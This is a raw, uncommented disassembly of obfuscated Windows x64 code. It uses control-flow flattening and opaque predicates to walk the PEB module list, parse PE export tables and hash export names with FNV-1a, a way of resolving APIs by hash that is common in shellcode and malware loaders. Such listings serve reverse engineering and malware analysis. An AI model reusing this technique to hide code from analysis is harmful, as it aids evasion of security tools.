jmp 0x14036d7ae
mov eax, dword [0x140ae8140]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8144], 0xa
setl cl
or cl, al
mov ecx, 0x1dfac00b
mov eax, 0x3cf63a48
cmovne ecx, eax
mov dword [rbp + 0x130], ecx
mov ecx, 0x1dfac00b
mov eax, 0x7b5ba97d
cmovne ecx, eax
mov dword [rbp + 0x134], ecx
mov eax, dword [0x140ae8148]
mov edx, dword [0x140ae814c]
lea ecx, [rax - 1]
imul ecx, eax
mov dword [rbp + 0xf8], ecx
test cl, 1
sete cl
mov dword [rbp + 0x100], edx
cmp edx, 0xa
setl dl
mov eax, dword [0x140ae8150]
mov r10d, dword [0x140ae8154]
lea r15d, [rax - 1]
imul r15d, eax
test r15b, 1
sete al
cmp r10d, 0xa
setl bl
or bl, al
mov eax, 0x1806efec
mov ebx, 0x2d12b554
cmovne eax, ebx
mov r11d, 0x1806efec
mov ebx, 0xc7e4f419
cmovne r11d, ebx
mov r13d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r13d, ebx
mov esi, 0x50ecbf49
mov ebx, 0xe073d505
cmovne esi, ebx
mov r14d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r14d, ebx
or dl, cl
mov r9d, 0x40dbb7c4
mov ecx, 0xa9b92767
cmovne r9d, ecx
mov r8d, 0x40dbb7c4
mov ecx, 0xc7078832
cmovne r8d, ecx
mov r12d, 0x7282843
mov ecx, 0x15d8b3b5
cmovne r12d, ecx
mov ecx, 0x95071535
nop
cmp ecx, 0x1dfac00a
jle 0x14036b920
cmp ecx, 0x1dfac00b
je 0x14036be19
cmp ecx, 0x3cf63a48
je 0x14036a580
cmp ecx, 0x7b5ba97d
jne 0x14036b8f0
mov ecx, dword [rbp + 0x130]
jmp 0x14036b8f0
cmp ecx, 0x85e56079
je 0x14036be23
cmp ecx, 0x95071535
jne 0x14036b8f0
test byte [rbp + 0xf8], 1
sete byte [rbp + 0x128]
cmp dword [rbp + 0x100], 0xa
setl byte [rbp + 0x154]
mov edx, 0x7245ccbf
jmp 0x14036b970
mov rcx, qword [rbp + 0x178]
mov edx, 0xc7078832
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, edx
cmp edx, 0x12477acc
jg 0x14036b9b0
cmp ecx, 0xeb677b59
jg 0x14036b9e0
cmp ecx, 0xc5530a32
je 0x14036bc21
cmp ecx, 0xc7078832
jne 0x14036bdf3
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rcx
mov edx, r9d
jmp 0x14036b970
cmp ecx, 0x40dbb7c3
jg 0x14036bbb0
cmp ecx, 0x12477acd
je 0x14036bbee
mov edx, ecx
cmp ecx, 0x15d8b3b5
jne 0x14036b970
mov edx, 0x12477acd
jmp 0x14036b970
mov edx, r8d
cmp ecx, 0xeb677b5a
je 0x14036b970
mov edx, ecx
cmp ecx, 0x7282843
jne 0x14036b970
test r15b, 1
sete byte [rbp + 0x158]
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov ecx, 0xe6aa786e
jmp 0x14036ba20
test bl, bl
cmovne ecx, edi
nop dword [rax + rax]
mov edi, ecx
cmp ecx, 0xe6aa786d
jg 0x14036ba60
cmp edi, 0xb7bc901c
jg 0x14036ba90
mov ecx, r11d
cmp edi, 0xa6904a62
je 0x14036ba20
cmp edi, 0xb58a2df5
je 0x14036bb38
mov ecx, edi
cmp edi, 0xb79c9156
jne 0x14036ba20
mov ecx, 0x2bd10b98
jmp 0x14036ba20
cmp edi, 0x2d12b553
jg 0x14036bac3
cmp edi, 0xe6aa786e
je 0x14036baeb
cmp edi, 0x1806efec
je 0x14036bb2e
mov ecx, edi
cmp edi, 0x2bd10b98
jne 0x14036ba20
mov ecx, esi
jmp 0x14036ba20
cmp edi, 0xb7bc901d
je 0x14036bb13
mov ecx, eax
cmp edi, 0xc7e4f419
je 0x14036ba20
mov ecx, edi
cmp edi, 0xe073d505
jne 0x14036ba20
mov rdx, qword [rbp + 0x190]
mov ecx, r13d
jmp 0x14036ba20
cmp edi, 0x50ecbf49
je 0x14036bb1d
cmp edi, 0x7e9a4a9e
jne 0x14036bb4b
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov ecx, r14d
jmp 0x14036ba20
movzx ebx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edi, 0x7e9a4a9e
mov ecx, 0x7e9a4a9e
jne 0x14036ba16
mov ecx, 0xb58a2df5
jmp 0x14036ba16
mov ecx, 0xa6904a62
jmp 0x14036ba20
mov rcx, qword [rbp + 0x190]
mov ecx, 0xe073d505
jmp 0x14036ba20
mov ecx, 0xc7e4f419
jmp 0x14036ba20
mov rcx, qword gs:[0x60]
mov ecx, 0x7e9a4a9e
jmp 0x14036ba20
mov ecx, edi
cmp edi, 0x2d12b554
jne 0x14036ba20
mov qword [rbp + 0x198], rdx
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3876635d
je 0x14036bc09
cmp edx, 0x8546b22b
jne 0x14036bb80
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036bb80
cmp ecx, 0x40dbb7c4
je 0x14036b957
mov edx, ecx
cmp ecx, 0x7245ccbf
jne 0x14036b970
mov cl, byte [rbp + 0x128]
cmp byte [rbp + 0x154], 0
mov edx, 0x7282843
mov ebx, 0xc5530a32
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
jmp 0x14036b970
mov rcx, qword [rbp + 0x160]
mov rcx, qword [rcx]
mov qword [rbp + 0x178], rcx
mov edx, 0xeb677b5a
jmp 0x14036b970
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
mov edx, 0xc5530a32
jmp 0x14036b970
test r15b, 1
sete byte [rbp + 0x158]
mov ebx, r10d
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov edi, 0xe6aa786e
jmp 0x14036bc50
test cl, cl
cmovne edi, edx
nop word cs:[rax + rax]
mov edx, edi
cmp edi, 0xe6aa786d
jg 0x14036bc90
cmp edx, 0xb7bc901c
jg 0x14036bcc0
mov edi, r11d
cmp edx, 0xa6904a62
je 0x14036bc50
cmp edx, 0xb58a2df5
je 0x14036bd68
mov edi, edx
cmp edx, 0xb79c9156
jne 0x14036bc50
mov edi, 0x2bd10b98
jmp 0x14036bc50
cmp edx, 0x2d12b553
jg 0x14036bcf3
cmp edx, 0xe6aa786e
je 0x14036bd1b
cmp edx, 0x1806efec
je 0x14036bd5e
mov edi, edx
cmp edx, 0x2bd10b98
jne 0x14036bc50
mov edi, esi
jmp 0x14036bc50
cmp edx, 0xb7bc901d
je 0x14036bd43
mov edi, eax
cmp edx, 0xc7e4f419
je 0x14036bc50
mov edi, edx
cmp edx, 0xe073d505
jne 0x14036bc50
mov r10, qword [rbp + 0x190]
mov edi, r13d
jmp 0x14036bc50
cmp edx, 0x50ecbf49
je 0x14036bd4d
cmp edx, 0x7e9a4a9e
jne 0x14036bd7b
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov edi, r14d
jmp 0x14036bc50
movzx ecx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edx, 0x7e9a4a9e
mov edi, 0x7e9a4a9e
jne 0x14036bc41
mov edi, 0xb58a2df5
jmp 0x14036bc41
mov edi, 0xa6904a62
jmp 0x14036bc50
mov rcx, qword [rbp + 0x190]
mov edi, 0xe073d505
jmp 0x14036bc50
mov edi, 0xc7e4f419
jmp 0x14036bc50
mov rcx, qword gs:[0x60]
mov edi, 0x7e9a4a9e
jmp 0x14036bc50
mov edi, edx
cmp edx, 0x2d12b554
jne 0x14036bc50
mov qword [rbp + 0x198], r10
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
mov r10d, ebx
nop word cs:[rax + rax]
cmp edx, 0x3876635d
je 0x14036bdd2
cmp edx, 0x8546b22b
jne 0x14036bdb0
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036bdb0
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
add rcx, 0x10
mov qword [rbp + 0x160], rcx
mov edx, r12d
jmp 0x14036b970
mov edx, ecx
cmp ecx, 0xa9b92767
jne 0x14036b970
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0xe0], rcx
mov ecx, 0x85e56079
jmp 0x14036b8f0
mov ecx, 0x7b5ba97d
jmp 0x14036b8f0
mov ecx, dword [rbp + 0x134]
jmp 0x14036b8f0
cmp eax, 0x62f157ce
je 0x14036a4e8
cmp eax, 0x75ad9735
jne 0x14036d82b
mov eax, 0xc5b26aa3
jmp 0x14036a50e
cmp eax, 0x8c435fca
je 0x14036d7c6
cmp eax, 0xb8d9c8bd
jne 0x14036a50e
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7a0a639a
mov ecx, 0x1451db43
jmp 0x14036a501
mov eax, 0x62f157ce
jmp 0x14036a50e
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf65e0237
mov ecx, 0xdc650d0d
jmp 0x14036a501
mov qword [rbp + 0x30], rsp
mov eax, 0xfdaaf27
jmp 0x14036bec5
mov eax, 0x7e25d310
jmp 0x14036bf10
mov eax, dword [rbp + 0x15c]
add eax, 0xffffffff
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x15c], 0
setne byte [rbp + 0x173]
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x31b142dd
cmove eax, ecx
cmp dword [0x140ae8104], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0xfdaaf26
jg 0x14036bf70
cmp eax, 0xdfce91c2
jle 0x14036bfb0
cmp eax, 0xfbaed13e
jle 0x14036c0c8
cmp eax, 0x18c9d92
jg 0x14036c276
cmp eax, 0xfbaed13f
je 0x14036c4f5
cmp eax, 0xfc3de4fb
jne 0x14036bf10
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x38ffed7e
jmp 0x14036befd
cmp eax, 0x31b142dc
jle 0x14036c000
cmp eax, 0x4ca3889a
jle 0x14036c053
cmp eax, 0x704c8eec
jg 0x14036c2b1
cmp eax, 0x4ca3889b
je 0x14036c508
cmp eax, 0x55d14e4e
je 0x14036d160
jmp 0x14036bf10
cmp eax, 0xb8886505
jle 0x14036c1fc
cmp eax, 0xc831fa39
jg 0x14036c4c8
cmp eax, 0xb8886506
je 0x14036c512
cmp eax, 0xc329a2b3
jne 0x14036bf10
mov eax, dword [rbp + 0xc4]
cmp eax, 0xcded1a85
sete byte [rbp + 0x172]
mov eax, 0xe1148b9
jmp 0x14036bf10
cmp eax, 0x1e9056d4
jg 0x14036c23f
cmp eax, 0xfdaaf27
je 0x14036c71b
cmp eax, 0x14c956a0
je 0x14036c751
cmp eax, 0x19c143a2
jne 0x14036bf10
cmp byte [rbp + 0x171], 0
mov eax, 0xfbaed13f
mov ecx, 0x7e25d310
cmovne eax, ecx
mov rcx, qword [rbp + 0x110]
mov qword [rbp + 0x88], rcx
jmp 0x14036bf10
cmp eax, 0x31b142dd
je 0x14036c906
cmp eax, 0x38ffed7e
je 0x14036c91f
cmp eax, 0x470a4e5f
jne 0x14036bf10
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x188], rdx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 0x20]
mov dword [rbp + 0x178], ecx
mov edx, 0x1693d0f7
nop dword [rax]
cmp edx, 0x2d3e5cdb
je 0x14036c93d
cmp edx, 0x1693d0f7
jne 0x14036c0a0
mov ecx, dword [rbp + 0x178]
add rcx, qword [rbp + 0x188]
mov edx, 0x2d3e5cdb
jmp 0x14036c0a0
cmp eax, 0xdfce91c3
je 0x14036cfc5
cmp eax, 0xe3eafbe4
je 0x14036cfe7
cmp eax, 0xf40e2635
jne 0x14036bf10
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8108]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140ae810c], 0xa
setl dl
or dl, cl
mov edx, 0x5704dee6
mov ecx, 0x42c6bf2c
cmovne edx, ecx
mov ecx, 0x5704dee6
mov ebx, 0xbb5b4fcd
cmovne ecx, ebx
mov r8, qword [rax + 8]
mov ebx, 0x64fe3025
mov eax, 0x47a989db
cmovne ebx, eax
mov edi, 0x64fe3025
mov eax, 0x3860c77
cmovne edi, eax
mov eax, 0x3c1c4314
jmp 0x14036c160
mov rax, qword [rbp + 0x198]
mov eax, 0xbb5b4fcd
nop dword [rax]
cmp eax, 0x42c6bf2b
jg 0x14036c180
cmp eax, 0x3860c76
jg 0x14036c1a0
cmp eax, 0xbb5b4fcd
je 0x14036c1c0
cmp eax, 0xbd215c35
jne 0x14036c160
mov eax, ecx
jmp 0x14036c160
cmp eax, 0x5704dee5
jle 0x14036c1b2
cmp eax, 0x5704dee6
je 0x14036c14d
cmp eax, 0x64fe3025
jne 0x14036c160
mov eax, 0x3860c77
jmp 0x14036c160
cmp eax, 0x3860c77
je 0x14036c1ce
cmp eax, 0x3c1c4314
jne 0x14036c160
mov eax, edi
jmp 0x14036c160
cmp eax, 0x47a989db
jne 0x14036c1d9
mov eax, 0xbd215c35
jmp 0x14036c160
mov rax, qword [rbp + 0x198]
mov esi, dword [rax + 0x18]
mov eax, edx
jmp 0x14036c160
mov qword [rbp + 0x198], r8
mov eax, ebx
jmp 0x14036c160
cmp eax, 0x42c6bf2c
jne 0x14036c160
mov dword [rbp + 0x190], esi
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0xc8], eax
mov eax, 0x4ca3889b
jmp 0x14036bf10
cmp eax, 0xa24d1d27
je 0x14036d068
cmp eax, 0xacc95487
je 0x14036d080
cmp eax, 0xb2fd6b3c
jne 0x14036bf10
mov eax, 0x18c9d93
mov dword [rbp + 0x108], 0
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0xa8], rcx
jmp 0x14036bf10
cmp eax, 0x1e9056d5
je 0x14036d0aa
cmp eax, 0x2e8fc0cf
je 0x14036d0b4
cmp eax, 0x2f80c4ea
jne 0x14036bf10
mov eax, 0xacc95487
mov ecx, dword [rbp + 0xc8]
mov dword [rbp + 0xa0], ecx
jmp 0x14036bf10
cmp eax, 0x18c9d93
je 0x14036c534
cmp eax, 0xe1148b9
jne 0x14036bf10
cmp byte [rbp + 0x172], 0
mov eax, 0xacc95487
mov ecx, 0xe3eafbe4
cmovne eax, ecx
mov ecx, dword [rbp + 0x12c]
mov dword [rbp + 0xa0], ecx
jmp 0x14036bf10
cmp eax, 0x704c8eed
je 0x14036bec7
cmp eax, 0x7e25d310
jne 0x14036bf10
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov rax, qword [rbp + 0xe0]
mov r10, qword [rax + 0x30]
mov r8, qword [rbp + 0x118]
mov qword [r8], r10
mov eax, dword [0x140ae8110]
mov ecx, dword [0x140ae8114]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x178]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x188]
or cl, al
mov edx, 0xfe777634
mov eax, 0xda4ed74b
cmovne edx, eax
mov ecx, 0xfe777634
mov eax, 0x14a712fb
cmovne ecx, eax
mov edi, 0x5f40d673
mov eax, 0x958d7ea
cmovne edi, eax
mov ebx, 0xdc2154f5
jmp 0x14036c370
mov qword [rbp + 0x198], r10
mov ebx, edi
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x958d7e9
jle 0x14036c3b0
cmp eax, 0x43cf23db
jg 0x14036c3d0
cmp eax, 0x958d7ea
je 0x14036c43a
cmp eax, 0x14a712fb
jne 0x14036c444
mov rax, qword [rbp + 0x198]
mov r11d, dword [rax + 0x3c]
mov ebx, edx
jmp 0x14036c370
cmp eax, 0xdc2154f4
jg 0x14036c3f0
cmp eax, 0xb588294a
je 0x14036c35b
mov ebx, eax
cmp eax, 0xda4ed74b
jne 0x14036c370
mov ebx, 0x9971561
jmp 0x14036c370
mov ebx, ecx
cmp eax, 0x43cf23dc
je 0x14036c370
mov ebx, eax
cmp eax, 0x5f40d673
jne 0x14036c370
mov ebx, 0xb588294a
jmp 0x14036c370
cmp eax, 0xdc2154f5
je 0x14036c415
mov ebx, eax
cmp eax, 0xfe777634
jne 0x14036c370
mov rax, qword [rbp + 0x198]
mov ebx, 0x14a712fb
jmp 0x14036c370
movzx eax, byte [rbp + 0x178]
cmp byte [rbp + 0x188], 0
mov ebx, 0x5f40d673
mov esi, 0xb588294a
cmovne ebx, esi
test al, al
cmovne ebx, esi
jmp 0x14036c370
mov ebx, 0x43cf23dc
jmp 0x14036c370
mov ebx, eax
cmp eax, 0x9971561
jne 0x14036c370
mov dword [rbp + 0x190], r11d
movsxd rax, dword [rbp + 0x190]
mov ecx, dword [r10 + rax + 0x88]
mov dword [rbp + 0x178], ecx
add rax, r10
add rax, 0x8c
mov qword [rbp + 0x190], rax
mov eax, 0xb4e2a26d
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x6c7afb3a
je 0x14036c570
cmp eax, 0xb4e2a26d
jne 0x14036c490
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0x178]
add rax, r10
mov qword [rbp + 0x198], rax
mov eax, 0x6c7afb3a
jmp 0x14036c490
cmp eax, 0xd6b57203
jne 0x14036d142
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 0
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0x98], rcx
jmp 0x14036bf10
mov eax, 0xc831fa3a
xor ecx, ecx
mov qword [rbp + 0x90], rcx
jmp 0x14036bf10
mov eax, 0x2f80c4ea
jmp 0x14036bf10
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 1
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0x98], rcx
jmp 0x14036bf10
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x138]
cmp dword [rbp + 0x108], 0
mov eax, 0xc831fa3a
mov ecx, 0x14c956a0
cmove eax, ecx
mov rcx, qword [rbp + 0x110]
mov qword [rbp + 0x90], rcx
jmp 0x14036bf10
mov rax, qword [rbp + 0x198]
mov qword [r8 + 8], rax
mov eax, dword [rbp + 0x188]
mov dword [r8 + 0x10], eax
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8138]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x188]
mov ecx, dword [0x140ae813c]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x190]
mov r8, qword [rax]
or cl, dl
mov ecx, 0x5ffb31d3
mov edx, 0x1ca53357
cmovne ecx, edx
mov r10, qword [rax + 8]
mov eax, 0x5ffb31d3
mov edx, 0xac60f90c
cmovne eax, edx
mov edi, 0xeeead46
mov edx, 0x3d145519
cmovne edi, edx
mov ebx, 0x9f42beca
jmp 0x14036c600
test dl, dl
cmovne ebx, esi
nop word cs:[rax + rax]
nop
mov esi, ebx
cmp ebx, 0x1fb628ea
jg 0x14036c640
cmp esi, 0xd2cc2d7a
jle 0x14036c660
cmp esi, 0xeeead46
je 0x14036c6d2
cmp esi, 0x1ca53357
jne 0x14036c6dc
mov ebx, 0xd2cc2d7b
jmp 0x14036c600
cmp esi, 0x3d145518
jg 0x14036c680
mov ebx, eax
cmp esi, 0x1fb628eb
je 0x14036c600
mov ebx, esi
cmp esi, 0x349a2816
jne 0x14036c600
mov ebx, edi
jmp 0x14036c600
cmp esi, 0x9f42beca
je 0x14036c6a0
mov ebx, esi
cmp esi, 0xac60f90c
jne 0x14036c600
mov ebx, ecx
jmp 0x14036c600
cmp esi, 0x3d145519
je 0x14036c6c8
mov ebx, esi
cmp esi, 0x5ffb31d3
jne 0x14036c600
mov ebx, 0xac60f90c
jmp 0x14036c600
movzx edx, byte [rbp + 0x188]
cmp byte [rbp + 0x190], 0
mov esi, 0x349a2816
mov ebx, 0x349a2816
jne 0x14036c5ef
mov ebx, 0xeeead46
jmp 0x14036c5ef
mov ebx, 0x1fb628eb
jmp 0x14036c600
mov ebx, 0x349a2816
jmp 0x14036c600
mov ebx, esi
cmp esi, 0xd2cc2d7b
jne 0x14036c600
cmp r10, r8
setne byte [rbp + 0x198]
cmp byte [rbp + 0x198], 0
mov eax, 0xb2fd6b3c
mov ecx, 0xf40e2635
cmovne eax, ecx
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xb0], rcx
jmp 0x14036bf10
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov eax, 0x55d14e4e
jmp 0x14036bf10
mov eax, dword [0x140ae8118]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x140ae811c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8120], 0xa
setl cl
or cl, al
mov edi, 0xc34c4d35
mov eax, 0xda384f69
cmovne edi, eax
mov ecx, 0xc34c4d35
mov eax, 0xcef4daed
cmovne ecx, eax
test dl, 1
sete byte [rbp + 0x174]
mov edx, dword [0x140ae8124]
mov ebx, 0x66882932
mov eax, 0x3116d75d
cmove ebx, eax
cmp edx, 0xa
setl byte [rbp + 0x160]
cmovl ebx, eax
mov edx, 0x8beff44c
nop word cs:[rax + rax]
nop
cmp edx, 0x3116d75c
jle 0x14036c800
cmp edx, 0x3116d75d
je 0x14036c8af
cmp edx, 0x66882932
je 0x14036c8b9
cmp edx, 0x6c540096
jne 0x14036c7d0
jmp 0x14036d0e9
cmp edx, 0x8beff44c
je 0x14036c8c3
cmp edx, 0xed5b005a
je 0x14036c8e7
cmp edx, 0x15bf159a
jne 0x14036c7d0
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x190], rax
mov edx, 0xdb406100
nop word cs:[rax + rax]
nop
cmp edx, 0xda384f68
jle 0x14036c890
cmp edx, 0xda384f69
je 0x14036c8ee
cmp edx, 0xc5b6513
je 0x14036c8a4
cmp edx, 0xdb406100
jne 0x14036c850
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov qword [rbp + 0x198], rax
mov edx, 0xc5b6513
jmp 0x14036c850
cmp edx, 0xc34c4d35
je 0x14036c8a8
cmp edx, 0xcef4daed
jne 0x14036c850
mov edx, edi
jmp 0x14036c850
mov edx, ecx
jmp 0x14036c850
mov edx, 0xcef4daed
jmp 0x14036c850
mov edx, 0x15bf159a
jmp 0x14036c7d0
mov edx, 0xed5b005a
jmp 0x14036c7d0
mov al, byte [rbp + 0x174]
cmp byte [rbp + 0x160], 0
mov edx, 0x66882932
mov esi, 0xed5b005a
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x14036c7d0
mov edx, ebx
jmp 0x14036c7d0
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x188], rax
mov edx, 0x6c540096
jmp 0x14036c7d0
cmp byte [rbp + 0x173], 0
mov eax, 0xd6b57203
mov ecx, 0x470a4e5f
cmovne eax, ecx
jmp 0x14036bf10
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x19c143a2
jmp 0x14036befd
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x198]
mov eax, dword [rax + rcx*4]
add rax, qword [rbp + 0x188]
mov qword [rbp + 0x80], rax
mov eax, dword [0x140ae8128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae812c], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae8130]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae8134], 0xa
setl dl
or dl, al
mov esi, 0xa8c1e4bc
mov eax, 0x162d485e
cmovne esi, eax
mov r11d, 0xa8c1e4bc
mov eax, 0x3bfdfa96
cmovne r11d, eax
mov r8d, 0xcbec2657
mov eax, 0x3d103833
cmovne r8d, eax
mov edi, 0xcbec2657
mov eax, 0x97d6b74c
cmovne edi, eax
test cl, cl
mov r10d, 0x7c4755d
mov eax, 0xb69743ae
cmovne r10d, eax
mov ecx, 0x7c4755d
mov eax, 0xb10b2499
cmovne ecx, eax
mov dword [rbp + 0xd0], ecx
mov ecx, 0x803f1b2f
mov eax, 0x1e021d7e
cmovne ecx, eax
mov dword [rbp + 0xd4], ecx
mov ecx, 0x803f1b2f
mov eax, 0xe91aaf98
cmovne ecx, eax
mov dword [rbp + 0xd8], ecx
mov r13d, 0x1779598e
mov eax, 0x163a0f30
cmovne r13d, eax
mov ebx, 0x1779598e
mov eax, 0xd3c21c63
cmovne ebx, eax
mov dword [rbp + 0x78], ebx
mov ebx, 0x17e69b4a
mov eax, 0x89a14e6f
cmovne ebx, eax
mov dword [rbp + 0xdc], ebx
mov r14d, 0x17e69b4a
mov eax, 0xb3ac832
cmovne r14d, eax
mov ebx, 0xe098d522
jmp 0x14036caa0
mov dword [rbp + 0x128], r12d
mov dword [rbp + 0x154], edx
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x198], rax
mov ebx, dword [rbp + 0xd8]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov eax, ebx
cmp ebx, 0x7c4755c
jle 0x14036cd80
cmp eax, 0x17e69b49
jle 0x14036ce30
cmp eax, 0x473e8a80
jg 0x14036ce68
cmp eax, 0x17e69b4a
je 0x14036cfbb
cmp eax, 0x1e021d7e
je 0x14036cf26
mov ebx, eax
cmp eax, 0x237bb451
jne 0x14036caa0
mov dword [rbp + 0xcc], edx
mov dword [rbp + 0x134], r12d
mov dword [rbp + 0x130], ecx
mov dword [rbp + 0xf8], r15d
mov r12d, r13d
mov ecx, r14d
mov edx, r10d
movsx r13d, byte [rbp + 0x187]
mov eax, dword [rbp + 0x154]
mov r14d, 0xd81fc671
jmp 0x14036cb40
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov r14d, 0x3bfdfa96
nop word [rax + rax]
mov ebx, r14d
cmp r14d, 0x3bfdfa95
jle 0x14036cb90
cmp ebx, 0x491c42a4
jle 0x14036cc10
cmp ebx, 0x5ae5fef5
jg 0x14036cc52
cmp ebx, 0x491c42a5
je 0x14036ccb1
mov r14d, ebx
cmp ebx, 0x49f89684
jne 0x14036cb40
mov dword [rbp + 0x188], r15d
mov r14d, r11d
jmp 0x14036cb40
cmp ebx, 0xa8c1e4bb
jle 0x14036cbd0
cmp ebx, 0xd81fc670
jg 0x14036cc83
cmp ebx, 0xa8c1e4bc
je 0x14036cb1c
mov r14d, ebx
cmp ebx, 0xcbec2657
jne 0x14036cb40
mov r14d, 0x97d6b74c
jmp 0x14036cb40
mov r14d, edi
cmp ebx, 0x857613f4
je 0x14036cb40
cmp ebx, 0x91fe2f04
je 0x14036ccde
mov r14d, ebx
cmp ebx, 0x97d6b74c
jne 0x14036cb40
mov r14d, r8d
jmp 0x14036cb40
cmp ebx, 0x3bfdfa96
je 0x14036ccf9
cmp ebx, 0x3d103833
je 0x14036cd10
mov r14d, ebx
cmp ebx, 0x43d862de
jne 0x14036cb40
cmp byte [rbp + 0x16f], 0
mov r14d, 0x5ae5fef6
mov ebx, 0x491c42a5
cmovne r14d, ebx
jmp 0x14036cb40
cmp ebx, 0x5ae5fef6
je 0x14036cccc
mov r14d, ebx
cmp ebx, 0x73385a14
jne 0x14036cb40
mov ebx, dword [rbp + 0x174]
or ebx, 0x20
mov dword [rbp + 0x160], ebx
mov r14d, 0x857613f4
jmp 0x14036cb40
cmp ebx, 0xd81fc671
jne 0x14036cd22
mov dword [rbp + 0x174], r13d
mov ebx, dword [rbp + 0x174]
cmp ebx, 0x41
setge byte [rbp + 0x16f]
mov r14d, 0x43d862de
jmp 0x14036cb40
mov ebx, dword [rbp + 0x174]
cmp ebx, 0x5b
setl byte [rbp + 0x16e]
mov r14d, 0x91fe2f04
jmp 0x14036cb40
mov r14d, 0x49f89684
mov r15d, dword [rbp + 0x174]
jmp 0x14036cb40
cmp byte [rbp + 0x16e], 0
mov r14d, 0x5ae5fef6
mov ebx, 0x73385a14
cmovne r14d, ebx
jmp 0x14036cb40
mov ebx, dword [rbp + 0x188]
xor ebx, eax
imul r10d, ebx, 0x1000193
mov r14d, esi
jmp 0x14036cb40
mov r14d, 0x49f89684
mov r15d, dword [rbp + 0x160]
jmp 0x14036cb40
mov r14d, ebx
cmp ebx, 0x162d485e
jne 0x14036cb40
mov dword [rbp + 0x178], r10d
mov eax, dword [rbp + 0x178]
mov dword [rbp + 0xc0], eax
mov ebx, 0x91995dcd
mov r10d, edx
mov r14d, ecx
mov r13d, r12d
mov r15d, dword [rbp + 0xf8]
mov ecx, dword [rbp + 0x130]
mov r12d, dword [rbp + 0x134]
